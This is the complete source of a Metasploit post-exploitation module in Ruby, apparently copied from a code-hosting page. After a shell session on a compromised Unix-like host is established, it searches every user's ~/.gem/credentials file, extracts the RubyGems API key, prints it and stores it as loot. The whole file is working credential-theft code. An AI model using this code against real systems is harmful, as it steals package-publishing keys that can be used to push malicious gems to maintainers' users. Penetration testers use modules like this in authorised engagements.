75 lines
2.0 KiB
Ruby
75 lines
2.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Multi Gather RubyGems API Key',
|
|
'Description' => %q{
|
|
This module obtains a user's RubyGems API key from ~/.gem/credentials.
|
|
},
|
|
'Author' => [
|
|
'Jonathan Claudius <jclaudius[at]trustwave.com>',
|
|
'Brandon Myers <bmyers[at]trustwave.com>'
|
|
],
|
|
'Platform' => %w{bsd linux osx unix},
|
|
'SessionTypes' => %w{shell},
|
|
'License' => MSF_LICENSE
|
|
))
|
|
end
|
|
|
|
def run
|
|
print_status('Finding ~/.gem/credentials')
|
|
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
|
|
paths = paths.select { |f| file?(f) }
|
|
|
|
if paths.empty?
|
|
print_error('No users found with a ~/.gem/credentials file')
|
|
return
|
|
end
|
|
|
|
download_key(paths)
|
|
end
|
|
|
|
# Ruby gem credentials are pretty standard and can come
|
|
# in a few flavors, but the most common are straight yaml
|
|
# and json, both of which are colon delimited. I suppose
|
|
# you could concievably have more than one, but that'd be
|
|
# manually editing, and the first one is probably the best
|
|
# one anyway.
|
|
def extract_key(path)
|
|
data = read_file(path)
|
|
keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }
|
|
keys.map { |k| k.strip }.first
|
|
end
|
|
|
|
def download_key(paths)
|
|
print_status("Looting #{paths.count} files")
|
|
paths.each do |path|
|
|
path.chomp!
|
|
next if ['.', '..'].include?(path)
|
|
|
|
rubygems_api_key = extract_key(path)
|
|
next unless rubygems_api_key
|
|
|
|
print_good("Found a RubyGems API key: #{rubygems_api_key}")
|
|
|
|
loot_path = store_loot(
|
|
'rubygems.apikey',
|
|
'text/plain',
|
|
session,
|
|
rubygems_api_key,
|
|
'rubygems_api_key.txt',
|
|
'RubyGems API key'
|
|
)
|
|
|
|
print_good("RubyGems API key stored in #{loot_path}")
|
|
end
|
|
end
|
|
end
|